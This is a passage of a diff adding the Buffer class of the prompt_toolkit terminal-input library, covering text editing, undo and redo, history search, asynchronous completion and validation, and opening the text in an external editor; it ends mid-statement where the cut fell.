+ self.__working_index += 1 + + self._load_history_task = get_app().create_background_task(load_history()) + + def load_history_done(f: "asyncio.Future[None]") -> None: + """ + Handle `load_history` result when either done, cancelled, or + when an exception was raised. + """ + try: + f.result() + except asyncio.CancelledError: + # Ignore cancellation. But handle it, so that we don't get + # this traceback. + pass + except GeneratorExit: + # Probably not needed, but we had situations where + # `GeneratorExit` was raised in `load_history` during + # cancellation. + pass + except BaseException: + # Log error if something goes wrong. (We don't have a + # caller to which we can propagate this exception.) + logger.exception("Loading history failed") + + self._load_history_task.add_done_callback(load_history_done) + + # + + def _set_text(self, value: str) -> bool: + """set text at current working_index. Return whether it changed.""" + working_index = self.working_index + working_lines = self._working_lines + + original_value = working_lines[working_index] + working_lines[working_index] = value + + # Return True when this text has been changed. + if len(value) != len(original_value): + # For Python 2, it seems that when two strings have a different + # length and one is a prefix of the other, Python still scans + # character by character to see whether the strings are different. + # (Some benchmarking showed significant differences for big + # documents. >100,000 of lines.) + return True + elif value != original_value: + return True + return False + + def _set_cursor_position(self, value: int) -> bool: + """Set cursor position. Return whether it changed.""" + original_position = self.__cursor_position + self.__cursor_position = max(0, value) + + return self.__cursor_position != original_position + + @property + def text(self) -> str: + return self._working_lines[self.working_index] + + @text.setter + def text(self, value: str) -> None: + """ + Setting text. (When doing this, make sure that the cursor_position is + valid for this text. text/cursor_position should be consistent at any time, + otherwise set a Document instead.) + """ + # Ensure cursor position remains within the size of the text. + if self.cursor_position > len(value): + self.cursor_position = len(value) + + # Don't allow editing of read-only buffers. + if self.read_only(): + raise EditReadOnlyBuffer() + + changed = self._set_text(value) + + if changed: + self._text_changed() + + # Reset history search text. + # (Note that this doesn't need to happen when working_index + # changes, which is when we traverse the history. That's why we + # don't do this in `self._text_changed`.) + self.history_search_text = None + + @property + def cursor_position(self) -> int: + return self.__cursor_position + + @cursor_position.setter + def cursor_position(self, value: int) -> None: + """ + Setting cursor position. + """ + assert isinstance(value, int) + + # Ensure cursor position is within the size of the text. + if value > len(self.text): + value = len(self.text) + if value < 0: + value = 0 + + changed = self._set_cursor_position(value) + + if changed: + self._cursor_position_changed() + + @property + def working_index(self) -> int: + return self.__working_index + + @working_index.setter + def working_index(self, value: int) -> None: + if self.__working_index != value: + self.__working_index = value + # Make sure to reset the cursor position, otherwise we end up in + # situations where the cursor position is out of the bounds of the + # text. + self.cursor_position = 0 + self._text_changed() + + def _text_changed(self) -> None: + # Remove any validation errors and complete state. + self.validation_error = None + self.validation_state = ValidationState.UNKNOWN + self.complete_state = None + self.yank_nth_arg_state = None + self.document_before_paste = None + self.selection_state = None + self.suggestion = None + self.preferred_column = None + + # fire 'on_text_changed' event. + self.on_text_changed.fire() + + # Input validation. + # (This happens on all change events, unlike auto completion, also when + # deleting text.) + if self.validator and self.validate_while_typing(): + get_app().create_background_task(self._async_validator()) + + def _cursor_position_changed(self) -> None: + # Remove any complete state. + # (Input validation should only be undone when the cursor position + # changes.) + self.complete_state = None + self.yank_nth_arg_state = None + self.document_before_paste = None + + # Unset preferred_column. (Will be set after the cursor movement, if + # required.) + self.preferred_column = None + + # Note that the cursor position can change if we have a selection the + # new position of the cursor determines the end of the selection. + + # fire 'on_cursor_position_changed' event. + self.on_cursor_position_changed.fire() + + @property + def document(self) -> Document: + """ + Return :class:`~prompt_toolkit.document.Document` instance from the + current text, cursor position and selection state. + """ + return self._document_cache[ + self.text, self.cursor_position, self.selection_state + ] + + @document.setter + def document(self, value: Document) -> None: + """ + Set :class:`~prompt_toolkit.document.Document` instance. + + This will set both the text and cursor position at the same time, but + atomically. (Change events will be triggered only after both have been set.) + """ + self.set_document(value) + + def set_document(self, value: Document, bypass_readonly: bool = False) -> None: + """ + Set :class:`~prompt_toolkit.document.Document` instance. Like the + ``document`` property, but accept an ``bypass_readonly`` argument. + + :param bypass_readonly: When True, don't raise an + :class:`.EditReadOnlyBuffer` exception, even + when the buffer is read-only. + + .. warning:: + + When this buffer is read-only and `bypass_readonly` was not passed, + the `EditReadOnlyBuffer` exception will be caught by the + `KeyProcessor` and is silently suppressed. This is important to + keep in mind when writing key bindings, because it won't do what + you expect, and there won't be a stack trace. Use try/finally + around this function if you need some cleanup code. + """ + # Don't allow editing of read-only buffers. + if not bypass_readonly and self.read_only(): + raise EditReadOnlyBuffer() + + # Set text and cursor position first. + text_changed = self._set_text(value.text) + cursor_position_changed = self._set_cursor_position(value.cursor_position) + + # Now handle change events. (We do this when text/cursor position is + # both set and consistent.) + if text_changed: + self._text_changed() + self.history_search_text = None + + if cursor_position_changed: + self._cursor_position_changed() + + @property + def is_returnable(self) -> bool: + """ + True when there is something handling accept. + """ + return bool(self.accept_handler) + + # End of + + def save_to_undo_stack(self, clear_redo_stack: bool = True) -> None: + """ + Safe current state (input text and cursor position), so that we can + restore it by calling undo. + """ + # Safe if the text is different from the text at the top of the stack + # is different. If the text is the same, just update the cursor position. + if self._undo_stack and self._undo_stack[-1][0] == self.text: + self._undo_stack[-1] = (self._undo_stack[-1][0], self.cursor_position) + else: + self._undo_stack.append((self.text, self.cursor_position)) + + # Saving anything to the undo stack, clears the redo stack. + if clear_redo_stack: + self._redo_stack = [] + + def transform_lines( + self, + line_index_iterator: Iterable[int], + transform_callback: Callable[[str], str], + ) -> str: + """ + Transforms the text on a range of lines. + When the iterator yield an index not in the range of lines that the + document contains, it skips them silently. + + To uppercase some lines:: + + new_text = transform_lines(range(5,10), lambda text: text.upper()) + + :param line_index_iterator: Iterator of line numbers (int) + :param transform_callback: callable that takes the original text of a + line, and return the new text for this line. + + :returns: The new text. + """ + # Split lines + lines = self.text.split("\n") + + # Apply transformation + for index in line_index_iterator: + try: + lines[index] = transform_callback(lines[index]) + except IndexError: + pass + + return "\n".join(lines) + + def transform_current_line(self, transform_callback: Callable[[str], str]) -> None: + """ + Apply the given transformation function to the current line. + + :param transform_callback: callable that takes a string and return a new string. + """ + document = self.document + a = document.cursor_position + document.get_start_of_line_position() + b = document.cursor_position + document.get_end_of_line_position() + self.text = ( + document.text[:a] + + transform_callback(document.text[a:b]) + + document.text[b:] + ) + + def transform_region( + self, from_: int, to: int, transform_callback: Callable[[str], str] + ) -> None: + """ + Transform a part of the input string. + + :param from_: (int) start position. + :param to: (int) end position. + :param transform_callback: Callable which accepts a string and returns + the transformed string. + """ + assert from_ < to + + self.text = "".join( + [ + self.text[:from_] + + transform_callback(self.text[from_:to]) + + self.text[to:] + ] + ) + + def cursor_left(self, count: int = 1) -> None: + self.cursor_position += self.document.get_cursor_left_position(count=count) + + def cursor_right(self, count: int = 1) -> None: + self.cursor_position += self.document.get_cursor_right_position(count=count) + + def cursor_up(self, count: int = 1) -> None: + """(for multiline edit). Move cursor to the previous line.""" + original_column = self.preferred_column or self.document.cursor_position_col + self.cursor_position += self.document.get_cursor_up_position( + count=count, preferred_column=original_column + ) + + # Remember the original column for the next up/down movement. + self.preferred_column = original_column + + def cursor_down(self, count: int = 1) -> None: + """(for multiline edit). Move cursor to the next line.""" + original_column = self.preferred_column or self.document.cursor_position_col + self.cursor_position += self.document.get_cursor_down_position( + count=count, preferred_column=original_column + ) + + # Remember the original column for the next up/down movement. + self.preferred_column = original_column + + def auto_up( + self, count: int = 1, go_to_start_of_line_if_history_changes: bool = False + ) -> None: + """ + If we're not on the first line (of a multiline input) go a line up, + otherwise go back in history. (If nothing is selected.) + """ + if self.complete_state: + self.complete_previous(count=count) + elif self.document.cursor_position_row > 0: + self.cursor_up(count=count) + elif not self.selection_state: + self.history_backward(count=count) + + # Go to the start of the line? + if go_to_start_of_line_if_history_changes: + self.cursor_position += self.document.get_start_of_line_position() + + def auto_down( + self, count: int = 1, go_to_start_of_line_if_history_changes: bool = False + ) -> None: + """ + If we're not on the last line (of a multiline input) go a line down, + otherwise go forward in history. (If nothing is selected.) + """ + if self.complete_state: + self.complete_next(count=count) + elif self.document.cursor_position_row < self.document.line_count - 1: + self.cursor_down(count=count) + elif not self.selection_state: + self.history_forward(count=count) + + # Go to the start of the line? + if go_to_start_of_line_if_history_changes: + self.cursor_position += self.document.get_start_of_line_position() + + def delete_before_cursor(self, count: int = 1) -> str: + """ + Delete specified number of characters before cursor and return the + deleted text. + """ + assert count >= 0 + deleted = "" + + if self.cursor_position > 0: + deleted = self.text[self.cursor_position - count : self.cursor_position] + + new_text = ( + self.text[: self.cursor_position - count] + + self.text[self.cursor_position :] + ) + new_cursor_position = self.cursor_position - len(deleted) + + # Set new Document atomically. + self.document = Document(new_text, new_cursor_position) + + return deleted + + def delete(self, count: int = 1) -> str: + """ + Delete specified number of characters and Return the deleted text. + """ + if self.cursor_position < len(self.text): + deleted = self.document.text_after_cursor[:count] + self.text = ( + self.text[: self.cursor_position] + + self.text[self.cursor_position + len(deleted) :] + ) + return deleted + else: + return "" + + def join_next_line(self, separator: str = " ") -> None: + """ + Join the next line to the current one by deleting the line ending after + the current line. + """ + if not self.document.on_last_line: + self.cursor_position += self.document.get_end_of_line_position() + self.delete() + + # Remove spaces. + self.text = ( + self.document.text_before_cursor + + separator + + self.document.text_after_cursor.lstrip(" ") + ) + + def join_selected_lines(self, separator: str = " ") -> None: + """ + Join the selected lines. + """ + assert self.selection_state + + # Get lines. + from_, to = sorted( + [self.cursor_position, self.selection_state.original_cursor_position] + ) + + before = self.text[:from_] + lines = self.text[from_:to].splitlines() + after = self.text[to:] + + # Replace leading spaces with just one space. + lines = [l.lstrip(" ") + separator for l in lines] + + # Set new document. + self.document = Document( + text=before + "".join(lines) + after, + cursor_position=len(before + "".join(lines[:-1])) - 1, + ) + + def swap_characters_before_cursor(self) -> None: + """ + Swap the last two characters before the cursor. + """ + pos = self.cursor_position + + if pos >= 2: + a = self.text[pos - 2] + b = self.text[pos - 1] + + self.text = self.text[: pos - 2] + b + a + self.text[pos:] + + def go_to_history(self, index: int) -> None: + """ + Go to this item in the history. + """ + if index < len(self._working_lines): + self.working_index = index + self.cursor_position = len(self.text) + + def complete_next(self, count: int = 1, disable_wrap_around: bool = False) -> None: + """ + Browse to the next completions. + (Does nothing if there are no completion.) + """ + index: Optional[int] + + if self.complete_state: + completions_count = len(self.complete_state.completions) + + if self.complete_state.complete_index is None: + index = 0 + elif self.complete_state.complete_index == completions_count - 1: + index = None + + if disable_wrap_around: + return + else: + index = min( + completions_count - 1, self.complete_state.complete_index + count + ) + self.go_to_completion(index) + + def complete_previous( + self, count: int = 1, disable_wrap_around: bool = False + ) -> None: + """ + Browse to the previous completions. + (Does nothing if there are no completion.) + """ + index: Optional[int] + + if self.complete_state: + if self.complete_state.complete_index == 0: + index = None + + if disable_wrap_around: + return + elif self.complete_state.complete_index is None: + index = len(self.complete_state.completions) - 1 + else: + index = max(0, self.complete_state.complete_index - count) + + self.go_to_completion(index) + + def cancel_completion(self) -> None: + """ + Cancel completion, go back to the original text. + """ + if self.complete_state: + self.go_to_completion(None) + self.complete_state = None + + def _set_completions(self, completions: List[Completion]) -> CompletionState: + """ + Start completions. (Generate list of completions and initialize.) + + By default, no completion will be selected. + """ + self.complete_state = CompletionState( + original_document=self.document, completions=completions + ) + + # Trigger event. This should eventually invalidate the layout. + self.on_completions_changed.fire() + + return self.complete_state + + def start_history_lines_completion(self) -> None: + """ + Start a completion based on all the other lines in the document and the + history. + """ + found_completions: Set[str] = set() + completions = [] + + # For every line of the whole history, find matches with the current line. + current_line = self.document.current_line_before_cursor.lstrip() + + for i, string in enumerate(self._working_lines): + for j, l in enumerate(string.split("\n")): + l = l.strip() + if l and l.startswith(current_line): + # When a new line has been found. + if l not in found_completions: + found_completions.add(l) + + # Create completion. + if i == self.working_index: + display_meta = "Current, line %s" % (j + 1) + else: + display_meta = f"History {i + 1}, line {j + 1}" + + completions.append( + Completion( + text=l, + start_position=-len(current_line), + display_meta=display_meta, + ) + ) + + self._set_completions(completions=completions[::-1]) + self.go_to_completion(0) + + def go_to_completion(self, index: Optional[int]) -> None: + """ + Select a completion from the list of current completions. + """ + assert self.complete_state + + # Set new completion + state = self.complete_state + state.go_to_index(index) + + # Set text/cursor position + new_text, new_cursor_position = state.new_text_and_position() + self.document = Document(new_text, new_cursor_position) + + # (changing text/cursor position will unset complete_state.) + self.complete_state = state + + def apply_completion(self, completion: Completion) -> None: + """ + Insert a given completion. + """ + # If there was already a completion active, cancel that one. + if self.complete_state: + self.go_to_completion(None) + self.complete_state = None + + # Insert text from the given completion. + self.delete_before_cursor(-completion.start_position) + self.insert_text(completion.text) + + def _set_history_search(self) -> None: + """ + Set `history_search_text`. + (The text before the cursor will be used for filtering the history.) + """ + if self.enable_history_search(): + if self.history_search_text is None: + self.history_search_text = self.document.text_before_cursor + else: + self.history_search_text = None + + def _history_matches(self, i: int) -> bool: + """ + True when the current entry matches the history search. + (when we don't have history search, it's also True.) + """ + return self.history_search_text is None or self._working_lines[i].startswith( + self.history_search_text + ) + + def history_forward(self, count: int = 1) -> None: + """ + Move forwards through the history. + + :param count: Amount of items to move forward. + """ + self._set_history_search() + + # Go forward in history. + found_something = False + + for i in range(self.working_index + 1, len(self._working_lines)): + if self._history_matches(i): + self.working_index = i + count -= 1 + found_something = True + if count == 0: + break + + # If we found an entry, move cursor to the end of the first line. + if found_something: + self.cursor_position = 0 + self.cursor_position += self.document.get_end_of_line_position() + + def history_backward(self, count: int = 1) -> None: + """ + Move backwards through history. + """ + self._set_history_search() + + # Go back in history. + found_something = False + + for i in range(self.working_index - 1, -1, -1): + if self._history_matches(i): + self.working_index = i + count -= 1 + found_something = True + if count == 0: + break + + # If we move to another entry, move cursor to the end of the line. + if found_something: + self.cursor_position = len(self.text) + + def yank_nth_arg( + self, n: Optional[int] = None, _yank_last_arg: bool = False + ) -> None: + """ + Pick nth word from previous history entry (depending on current + `yank_nth_arg_state`) and insert it at current position. Rotate through + history if called repeatedly. If no `n` has been given, take the first + argument. (The second word.) + + :param n: (None or int), The index of the word from the previous line + to take. + """ + assert n is None or isinstance(n, int) + history_strings = self.history.get_strings() + + if not len(history_strings): + return + + # Make sure we have a `YankNthArgState`. + if self.yank_nth_arg_state is None: + state = YankNthArgState(n=-1 if _yank_last_arg else 1) + else: + state = self.yank_nth_arg_state + + if n is not None: + state.n = n + + # Get new history position. + new_pos = state.history_position - 1 + if -new_pos > len(history_strings): + new_pos = -1 + + # Take argument from line. + line = history_strings[new_pos] + + words = [w.strip() for w in _QUOTED_WORDS_RE.split(line)] + words = [w for w in words if w] + try: + word = words[state.n] + except IndexError: + word = "" + + # Insert new argument. + if state.previous_inserted_word: + self.delete_before_cursor(len(state.previous_inserted_word)) + self.insert_text(word) + + # Save state again for next completion. (Note that the 'insert' + # operation from above clears `self.yank_nth_arg_state`.) + state.previous_inserted_word = word + state.history_position = new_pos + self.yank_nth_arg_state = state + + def yank_last_arg(self, n: Optional[int] = None) -> None: + """ + Like `yank_nth_arg`, but if no argument has been given, yank the last + word by default. + """ + self.yank_nth_arg(n=n, _yank_last_arg=True) + + def start_selection( + self, selection_type: SelectionType = SelectionType.CHARACTERS + ) -> None: + """ + Take the current cursor position as the start of this selection. + """ + self.selection_state = SelectionState(self.cursor_position, selection_type) + + def copy_selection(self, _cut: bool = False) -> ClipboardData: + """ + Copy selected text and return :class:`.ClipboardData` instance. + + Notice that this doesn't store the copied data on the clipboard yet. + You can store it like this: + + .. code:: python + + data = buffer.copy_selection() + get_app().clipboard.set_data(data) + """ + new_document, clipboard_data = self.document.cut_selection() + if _cut: + self.document = new_document + + self.selection_state = None + return clipboard_data + + def cut_selection(self) -> ClipboardData: + """ + Delete selected text and return :class:`.ClipboardData` instance. + """ + return self.copy_selection(_cut=True) + + def paste_clipboard_data( + self, + data: ClipboardData, + paste_mode: PasteMode = PasteMode.EMACS, + count: int = 1, + ) -> None: + """ + Insert the data from the clipboard. + """ + assert isinstance(data, ClipboardData) + assert paste_mode in (PasteMode.VI_BEFORE, PasteMode.VI_AFTER, PasteMode.EMACS) + + original_document = self.document + self.document = self.document.paste_clipboard_data( + data, paste_mode=paste_mode, count=count + ) + + # Remember original document. This assignment should come at the end, + # because assigning to 'document' will erase it. + self.document_before_paste = original_document + + def newline(self, copy_margin: bool = True) -> None: + """ + Insert a line ending at the current position. + """ + if copy_margin: + self.insert_text("\n" + self.document.leading_whitespace_in_current_line) + else: + self.insert_text("\n") + + def insert_line_above(self, copy_margin: bool = True) -> None: + """ + Insert a new line above the current one. + """ + if copy_margin: + insert = self.document.leading_whitespace_in_current_line + "\n" + else: + insert = "\n" + + self.cursor_position += self.document.get_start_of_line_position() + self.insert_text(insert) + self.cursor_position -= 1 + + def insert_line_below(self, copy_margin: bool = True) -> None: + """ + Insert a new line below the current one. + """ + if copy_margin: + insert = "\n" + self.document.leading_whitespace_in_current_line + else: + insert = "\n" + + self.cursor_position += self.document.get_end_of_line_position() + self.insert_text(insert) + + def insert_text( + self, + data: str, + overwrite: bool = False, + move_cursor: bool = True, + fire_event: bool = True, + ) -> None: + """ + Insert characters at cursor position. + + :param fire_event: Fire `on_text_insert` event. This is mainly used to + trigger autocompletion while typing. + """ + # Original text & cursor position. + otext = self.text + ocpos = self.cursor_position + + # In insert/text mode. + if overwrite: + # Don't overwrite the newline itself. Just before the line ending, + # it should act like insert mode. + overwritten_text = otext[ocpos : ocpos + len(data)] + if "\n" in overwritten_text: + overwritten_text = overwritten_text[: overwritten_text.find("\n")] + + text = otext[:ocpos] + data + otext[ocpos + len(overwritten_text) :] + else: + text = otext[:ocpos] + data + otext[ocpos:] + + if move_cursor: + cpos = self.cursor_position + len(data) + else: + cpos = self.cursor_position + + # Set new document. + # (Set text and cursor position at the same time. Otherwise, setting + # the text will fire a change event before the cursor position has been + # set. It works better to have this atomic.) + self.document = Document(text, cpos) + + # Fire 'on_text_insert' event. + if fire_event: # XXX: rename to `start_complete`. + self.on_text_insert.fire() + + # Only complete when "complete_while_typing" is enabled. + if self.completer and self.complete_while_typing(): + get_app().create_background_task(self._async_completer()) + + # Call auto_suggest. + if self.auto_suggest: + get_app().create_background_task(self._async_suggester()) + + def undo(self) -> None: + # Pop from the undo-stack until we find a text that if different from + # the current text. (The current logic of `save_to_undo_stack` will + # cause that the top of the undo stack is usually the same as the + # current text, so in that case we have to pop twice.) + while self._undo_stack: + text, pos = self._undo_stack.pop() + + if text != self.text: + # Push current text to redo stack. + self._redo_stack.append((self.text, self.cursor_position)) + + # Set new text/cursor_position. + self.document = Document(text, cursor_position=pos) + break + + def redo(self) -> None: + if self._redo_stack: + # Copy current state on undo stack. + self.save_to_undo_stack(clear_redo_stack=False) + + # Pop state from redo stack. + text, pos = self._redo_stack.pop() + self.document = Document(text, cursor_position=pos) + + def validate(self, set_cursor: bool = False) -> bool: + """ + Returns `True` if valid. + + :param set_cursor: Set the cursor position, if an error was found. + """ + # Don't call the validator again, if it was already called for the + # current input. + if self.validation_state != ValidationState.UNKNOWN: + return self.validation_state == ValidationState.VALID + + # Call validator. + if self.validator: + try: + self.validator.validate(self.document) + except ValidationError as e: + # Set cursor position (don't allow invalid values.) + if set_cursor: + self.cursor_position = min( + max(0, e.cursor_position), len(self.text) + ) + + self.validation_state = ValidationState.INVALID + self.validation_error = e + return False + + # Handle validation result. + self.validation_state = ValidationState.VALID + self.validation_error = None + return True + + async def _validate_async(self) -> None: + """ + Asynchronous version of `validate()`. + This one doesn't set the cursor position. + + We have both variants, because a synchronous version is required. + Handling the ENTER key needs to be completely synchronous, otherwise + stuff like type-ahead is going to give very weird results. (People + could type input while the ENTER key is still processed.) + + An asynchronous version is required if we have `validate_while_typing` + enabled. + """ + while True: + # Don't call the validator again, if it was already called for the + # current input. + if self.validation_state != ValidationState.UNKNOWN: + return + + # Call validator. + error = None + document = self.document + + if self.validator: + try: + await self.validator.validate_async(self.document) + except ValidationError as e: + error = e + + # If the document changed during the validation, try again. + if self.document != document: + continue + + # Handle validation result. + if error: + self.validation_state = ValidationState.INVALID + else: + self.validation_state = ValidationState.VALID + + self.validation_error = error + get_app().invalidate() # Trigger redraw (display error). + + def append_to_history(self) -> None: + """ + Append the current input to the history. + """ + # Save at the tail of the history. (But don't if the last entry the + # history is already the same.) + if self.text: + history_strings = self.history.get_strings() + if not len(history_strings) or history_strings[-1] != self.text: + self.history.append_string(self.text) + + def _search( + self, + search_state: SearchState, + include_current_position: bool = False, + count: int = 1, + ) -> Optional[Tuple[int, int]]: + """ + Execute search. Return (working_index, cursor_position) tuple when this + search is applied. Returns `None` when this text cannot be found. + """ + assert count > 0 + + text = search_state.text + direction = search_state.direction + ignore_case = search_state.ignore_case() + + def search_once( + working_index: int, document: Document + ) -> Optional[Tuple[int, Document]]: + """ + Do search one time. + Return (working_index, document) or `None` + """ + if direction == SearchDirection.FORWARD: + # Try find at the current input. + new_index = document.find( + text, + include_current_position=include_current_position, + ignore_case=ignore_case, + ) + + if new_index is not None: + return ( + working_index, + Document(document.text, document.cursor_position + new_index), + ) + else: + # No match, go forward in the history. (Include len+1 to wrap around.) + # (Here we should always include all cursor positions, because + # it's a different line.) + for i in range(working_index + 1, len(self._working_lines) + 1): + i %= len(self._working_lines) + + document = Document(self._working_lines[i], 0) + new_index = document.find( + text, include_current_position=True, ignore_case=ignore_case + ) + if new_index is not None: + return (i, Document(document.text, new_index)) + else: + # Try find at the current input. + new_index = document.find_backwards(text, ignore_case=ignore_case) + + if new_index is not None: + return ( + working_index, + Document(document.text, document.cursor_position + new_index), + ) + else: + # No match, go back in the history. (Include -1 to wrap around.) + for i in range(working_index - 1, -2, -1): + i %= len(self._working_lines) + + document = Document( + self._working_lines[i], len(self._working_lines[i]) + ) + new_index = document.find_backwards( + text, ignore_case=ignore_case + ) + if new_index is not None: + return ( + i, + Document(document.text, len(document.text) + new_index), + ) + return None + + # Do 'count' search iterations. + working_index = self.working_index + document = self.document + for _ in range(count): + result = search_once(working_index, document) + if result is None: + return None # Nothing found. + else: + working_index, document = result + + return (working_index, document.cursor_position) + + def document_for_search(self, search_state: SearchState) -> Document: + """ + Return a :class:`~prompt_toolkit.document.Document` instance that has + the text/cursor position for this search, if we would apply it. This + will be used in the + :class:`~prompt_toolkit.layout.BufferControl` to display feedback while + searching. + """ + search_result = self._search(search_state, include_current_position=True) + + if search_result is None: + return self.document + else: + working_index, cursor_position = search_result + + # Keep selection, when `working_index` was not changed. + if working_index == self.working_index: + selection = self.selection_state + else: + selection = None + + return Document( + self._working_lines[working_index], cursor_position, selection=selection + ) + + def get_search_position( + self, + search_state: SearchState, + include_current_position: bool = True, + count: int = 1, + ) -> int: + """ + Get the cursor position for this search. + (This operation won't change the `working_index`. It's won't go through + the history. Vi text objects can't span multiple items.) + """ + search_result = self._search( + search_state, include_current_position=include_current_position, count=count + ) + + if search_result is None: + return self.cursor_position + else: + working_index, cursor_position = search_result + return cursor_position + + def apply_search( + self, + search_state: SearchState, + include_current_position: bool = True, + count: int = 1, + ) -> None: + """ + Apply search. If something is found, set `working_index` and + `cursor_position`. + """ + search_result = self._search( + search_state, include_current_position=include_current_position, count=count + ) + + if search_result is not None: + working_index, cursor_position = search_result + self.working_index = working_index + self.cursor_position = cursor_position + + def exit_selection(self) -> None: + self.selection_state = None + + def _editor_simple_tempfile(self) -> Tuple[str, Callable[[], None]]: + """ + Simple (file) tempfile implementation. + Return (tempfile, cleanup_func). + """ + suffix = to_str(self.tempfile_suffix) + descriptor, filename = tempfile.mkstemp(suffix) + + os.write(descriptor, self.text.encode("utf-8")) + os.close(descriptor) + + def cleanup() -> None: + os.unlink(filename) + + return filename, cleanup + + def _editor_complex_tempfile(self) -> Tuple[str, Callable[[], None]]: + # Complex (directory) tempfile implementation. + headtail = to_str(self.tempfile) + if not headtail: + # Revert to simple case. + return self._editor_simple_tempfile() + headtail = str(headtail) + + # Try to make according to tempfile logic. + head, tail = os.path.split(headtail) + if os.path.isabs(head): + head = head[1:] + + dirpath = tempfile.mkdtemp() + if head: + dirpath = os.path.join(dirpath, head) + # Assume there is no issue creating dirs in this temp dir. + os.makedirs(dirpath) + + # Open the filename and write current text. + filename = os.path.join(dirpath, tail) + with open(filename, "w", encoding="utf-8") as fh: + fh.write(self.text) + + def cleanup() -> None: + shutil.rmtree(dirpath) + + return filename, cleanup + + def open_in_editor(self, validate_and_handle: bool = False) -> "asyncio.Task[None]": + """ + Open code in editor. + + This returns a future, and runs in a thread executor. + """ + if self.read_only(): + raise EditReadOnlyBuffer() + + # Write current text to temporary file + if self.tempfile: + filename, cleanup_func = self._editor_complex_tempfile() + else: + filename, cleanup_func = self._editor_simple_tempfile() + + async def run() -> None: + try: + # Open in editor + # (We need to use `run_in_terminal`, because not all editors go to + # the alternate screen buffer, and some could influence the cursor + # position.) + succes = await run_in_terminal( + lambda: self._open_file_in_editor(filename), in_executor=True + ) + + # Read content again. + if succes: + with open(filename, "rb") as f: + text = f.read().decode("utf-8") + + # Drop trailing newline. (Editors are supposed to add it at the + # end, but we don't need it.) + if text.endswith("\n"): + text = text[:-1] + + self.document = Document(text=text, cursor_position=len(text)) + + # Accept the input. + if validate_and_handle: + self.validate_and_handle() + + finally: + # Clean up temp dir/file. + cleanup_func() + + return get_app().create_background_task(run()) + + def _open_file_in_editor(self, filename: str) -> bool: + """ + Call editor executable. + + Return True when we received a zero return code. + """ + # If the 'VISUAL' or 'EDITOR' environment variable has been set, use that. + # Otherwise, fall back to the first available editor that we can find. + visual = os.environ.get("VISUAL") + editor = os.environ.get("EDITOR") + + editors = [ + visual, + editor, + # Order of preference. + "/usr/bin/editor", + "/usr/bin/nano", + "/usr/bin/pico", + "/usr/bin/vi", + "/usr/bin/emacs", + ] + + for e in editors: + if e: + try: + # Use 'shlex.split()', because $VISUAL can contain spaces + # and quotes. + returncode = subprocess.call(shlex.split(e) + [filename]) + return returncode == 0 + + except OSError: + # Executable does not exist, try the next one. + pass + + return False + + def start_completion( + self, + select_first: bool = False, + select_last: bool = False, + insert_common_part: bool = False, + complete_event: Optional[CompleteEvent] = None, + ) -> None: + """ + Start asynchronous autocompletion of this buffer. + (This will do nothing if a previous completion was still in progress.) + """ + # Only one of these options can be selected. + assert select_first + select_last + insert_common_part <= 1 + + get_app().create_background_task( + self._async_completer( + select_first=select_first, + select_last=select_last, + insert_common_part=insert_common_part, + complete_event=complete_event + or CompleteEvent(completion_requested=True), + ) + ) + + def _create_completer_coroutine(self) -> Callable[..., Awaitable[None]]: + """ + Create function for asynchronous autocompletion. + + (This consumes the asynchronous completer generator, which possibly + runs the completion algorithm in another thread.) + """ + + def completion_does_nothing(document: Document, completion: Completion) -> bool: + """ + Return `True` if applying this completion doesn't have any effect. + (When it doesn't insert any new text. + """ + text_before_cursor = document.text_before_cursor + replaced_text = text_before_cursor[ + len(text_before_cursor) + completion.start_position : + ] + return replaced_text == completion.text + + @_only_one_at_a_time + async def async_completer( + select_first: bool = False, + select_last: bool = False, + insert_common_part: bool = False, + complete_event: Optional[CompleteEvent] = None, + ) -> None: + + document = self.document + complete_event = complete_event or CompleteEvent(text_inserted=True) + + # Don't complete when we already have completions. + if self.complete_state or not self.completer: + return + + # Create an empty CompletionState. + complete_state = CompletionState(original_document=self.document) + self.complete_state = complete_state + + def proceed() -> bool: + """Keep retrieving completions. Input text has not yet changed + while generating completions.""" + return self.complete_state == complete_state + + async for completion in self.completer.get_completions_async( + document, complete_event + ): + complete_state.completions.append(completion) + self.on_completions_changed.fire() + + # If the input text changes, abort. + if not proceed(): + break + + completions = complete_state.completions + + # When there is only one completion, which has nothing to add, ignore it. + if len(completions) == 1 and completion_does_nothing( + document, completions[0] + ): + del completions[:] + + # Set completions if the text was not yet changed. + if proceed(): + # When no completions were found, or when the user selected + # already a completion by using the arrow keys, don't do anything. + if ( + not self.complete_state + or self.complete_state.complete_index is not None + ): + return + + # When there are no completions, reset completion state anyway. + if not completions: + self.complete_state = None + # Render the ui if the completion menu was shown + # it is needed especially if there is one completion and it was deleted. + self.on_completions_changed.fire() + return + + # Select first/last or insert common part, depending on the key + # binding. (For this we have to wait until all completions are + # loaded.) + + if select_first: + self.go_to_completion(0) + + elif select_last: + self.go_to_completion(len(completions) - 1) + + elif insert_common_part: + common_part = get_common_complete_suffix(document, completions) + if common_part: + # Insert the common part, update completions. + self.insert_text(common_part) + if len(completions) > 1: + # (Don't call `async_completer` again, but + # recalculate completions. See: + # https://github.com/ipython/ipython/issues/9658) + completions[:] = [ + c.new_completion_from_position(len(common_part)) + for c in completions + ] + + self._set_completions(completions=completions) + else: + self.complete_state = None + else: + # When we were asked to insert the "common" + # prefix, but there was no common suffix but + # still exactly one match, then select the + # first. (It could be that we have a completion + # which does * expansion, like '*.py', with + # exactly one match.) + if len(completions) == 1: + self.go_to_completion(0) + + else: + # If the last operation was an insert, (not a delete), restart + # the completion coroutine. + + if self.document.text_before_cursor == document.text_before_cursor: + return # Nothing changed. + + if self.document.text_before_cursor.startswith( + document.text_before_cursor + ): + raise _Retry + + return async_completer + + def _create_auto_suggest_coroutine(self) -> Callable[[], Awaitable[None]]: + """ + Create function for asynchronous auto suggestion. + (This can be in another thread.) + """ + + @_only_one_at_a_time + async def async_suggestor() -> None: + document = self.document + + # Don't suggest when we already have a suggestion. + if self.suggestion or not self.auto_suggest: + return + + suggestion = await self.auto_suggest.get_suggestion_async(self, document) + + # Set suggestion only if the text was not yet changed. + if self.document == document: + # Set suggestion and redraw interface. + self.suggestion = suggestion + self.on_suggestion_set.fire() + else: + # Otherwise, restart thread. + raise _Retry + + return async_suggestor + + def _create_auto_validate_coroutine(self) -> Callable[[], Awaitable[None]]: + """ + Create a function for asynchronous validation while typing. + (This can be in another thread.) + """ + + @_only_one_at_a_time + async def async_validator() -> None: + await self._validate_async() + + return async_validator + + def validate_and_handle(self) -> None: + """ + Validate buffer and handle the accept action. + """ + valid = self.validate(set_cursor=True) + + # When the validation succeeded, accept the input. + if valid: + if 